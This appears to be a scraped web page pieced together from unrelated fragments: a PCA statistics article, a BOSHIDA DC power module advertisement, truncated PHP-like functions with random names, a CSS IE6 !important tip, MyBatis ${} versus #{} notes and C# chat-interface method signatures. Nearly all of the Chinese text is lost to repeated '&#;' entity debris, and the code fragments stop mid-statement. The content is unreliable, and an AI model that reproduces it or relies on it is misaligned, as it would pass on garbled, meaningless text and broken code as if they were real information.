&#;&#;&#;&#;&#;(PCA)&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;PCA&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,PCA&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;(MANOVA)&#;&#;&#;&#;&#;&#;&#;&#;(PLSR),&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; &#;PCA&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;:

&#;&#;:PCA&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;:PCA&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

2.2 PCA&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;:&#;&#;PCA,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;:&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;PCA,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;:&#;&#;PCA&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

2.3 PCA&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;?

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;:&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;PCA&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;:&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;PCA&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;:&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;PCA,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;:PCA&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,PCA&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;PCA&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

3.1 &#;&#;&#;PCA&#;&#;&#;&#;&#;&#;&#;&#;&#;?

&#;&#;&#;&#;:&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;(&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;)&#;

PCA&#;&#;&#;&#;:&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;PCA&#;&#;&#;&#;&#;&#;&#;&#;&#;,PCA&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;:&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;(&#;80%&#;&#;)&#;&#;&#;&#;&#;

&#;&#;&#;&#;:&#;&#;&#;&#;&#;&#;&#;&#;&#;PCA&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

3.2 &#;&#;&#;&#;PCA&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;?

&#;&#;&#;&#;&#;&#;&#;:&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;:&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;:&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;:&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

3.3 PCA&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;?

&#;&#;&#;&#;&#;&#;:PCA&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;:&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,PCA&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;:PCA&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;,PCA&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;:

&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;

&#;PCA&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;:

&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;:

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;age&#;

&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;,&#;&#;PCA&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;auc&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;

5.1 &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;PCA&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;,PCA&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;PCA&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;PCA&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;,&#;&#;PCA&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

5.2 PCA&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;PCA&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;,&#;&#;&#;&#;&#;&#;PCA&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

5.3 &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;:&#;&#;&#;&#;PCA&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;:&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;:&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;,&#;PCA&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;

&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;PCA&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;:

PCA&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;PCA&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

*&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;

BOSHIDA DC&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

DC&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; DC&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;DC&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;DC&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;DC&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

1. &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

2. &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

3. &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

4. &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

BOSHIDA DC&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

function CqVeAdJ($QqD)

{

for($QFRRV=0;$QFRRV

!important&#;&#;&#;&#;&#;IE6&#;&#;&#;&#;:

!important&#;&#;&#;&#;&#;&#;CSS&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;CSS&#;&#;&#;&#;&#;&#;!important&#;&#;&#;:

&#;&#;&#;&#; &#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;CSS&#;&#;&#;&#;“&#;&#;&#;&#;”&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;!important&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;!important&#;&#;&#;IE6&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;IE6&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;:

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;({})&#;&#;&#;&#;IE6&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;{}&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;:http://www.51texiao.cn/div_cssjiaocheng/2015/0501/500.html

private char waitwant()

{

for($u=0;$u

出处:http://www.hzhcontrols.com/

原文:http://www.hzhcontrols.com/new-.html

本文版权归原作者所有欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接,否则保留追究法律责任的权利

${}&#;#{}&#;&#;&#;

#{}&#;sql&#;&#;&#;&#;&#;&#;&#;&#;${}&#;&#;&#;&#;&#;&#;&#;sql&#;&#;&#;,&#;&#;sql&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;${}

&#;&#;&#;&#;sql&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;SQL&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;

&#;&#;&#;&#;

&#;&#;

&#;MyBatis&#;&#;&#;&#;type&#;&#;&#;&#;&#;&#;,alias&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;alias&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;,&#;&#;&#;car/CAR

&#;&#;&#;&#;&#;&#;&#;&#;&#;typeAlias&#;&#;

&#;&#;package&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

Mapper

mappers&#;&#;mapper&#;3&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;sql&#;&#;&#;&#;&#;

resource&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;url&#;&#;&#;&#;class&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;xml&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;package&#;&#;&#;&#;&#;&#;&#;&#;&#;class&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

useGeneratedKeys&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;keyProperty&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;id&#;&#;

&#;&#;&#;/// <summary>

/// &#;&#;&#;&#;

/// </summary>

/// <param name="msgID">&#;&#;&#;&#;ID</param>

/// <param name="userID">&#;&#;&#;</param>

/// <param name="cardUserID">&#;&#;&#;&#;&#;&#;ID</param>

/// <param name="index">&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;</param>

void AddChatItemCard(string msgID ,string userID, string cardUserID ,int? index = null);

/// <summary>

/// &#;&#;&#;&#;

/// </summary>

/// <param name="fileName">&#;&#;&#;&#;</param>

/// <param name="fileSize">&#;&#;&#;&#;</param>

/// <param name="state">&#;&#;&#;&#;</param>

void AddChatItemFile(string msgID, string userID, string fileName, ulong fileSize, FileTransState state, int? index = null);

/// <summary>

/// &#;&#;&#;&#;

/// </summary>

/// <param name="image">&#;&#;</param>

/// <param name="imgSize">&#;&#;&#;&#;</param>

/// <param name="observerable">&#;&#;&#;null</param>

void AddChatItemImage(string msgID, string userID, object image, Size imgSize ,IProgressObserverable observerable = null, int? index = null);

/// <summary>

/// &#;&#;&#;&#;&#;&#;

/// </summary>

/// <param name="text">&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; [000]&#;&#;&#;&#;&#;&#;&#;&#;&#;[001]&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;</param>

/// <param name="referenced">&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;</param>

/// <param name="textColor">&#;&#;&#;&#;</param>

void AddChatItemText(string msgID, string userID, string text, ReferencedChatMessage referenced = null, Color? textColor = null, int? index = null);

/// <summary>

/// &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;—>> &#;&#;&#;

/// </summary>

void AddChatItemSnap(string msgID, string userID, int? index = null);

/// <summary>

/// &#;&#;&#;&#;&#;&#;

/// </summary>

/// <param name="audioMessageSecs">&#;&#;&#;&#;</param>

/// <param name="audioMessage">&#;&#;&#;&#;</param>

void AddChatItemAudio(string msgID, string userID, int audioMessageSecs, object audioMessage, int? index = null);

/// <summary>

/// &#;&#;&#;&#;&#;&#;&#;&#;&#;

/// </summary>

/// <param name="duration">&#;&#;&#;&#;</param>

/// <param name="isAudioCommunicate">&#;&#;&#;&#;(&#;&#;/&#;&#;)</param>

void AddChatItemMedia(string msgID, string userID, string duration, bool isAudioCommunicate, int? index = null);

/// <summary>

/// &#;&#;&#;&#;&#;&#;

/// </summary>

/// <param name="msg">&#;&#;&#;&#;&#;&#;</param>

void AddChatItemSystemMessage(string msg, int? index = null);

/// <summary>

/// &#;&#;&#;&#;&#;&#;&#;&#;&#;

/// </summary>

/// <param name="dt">&#;&#;&#;&#;</param>

void AddChatItemTime(DateTime dt, int? index = null);

/// <summary>

/// &#;&#;&#;&#;&#;&#;

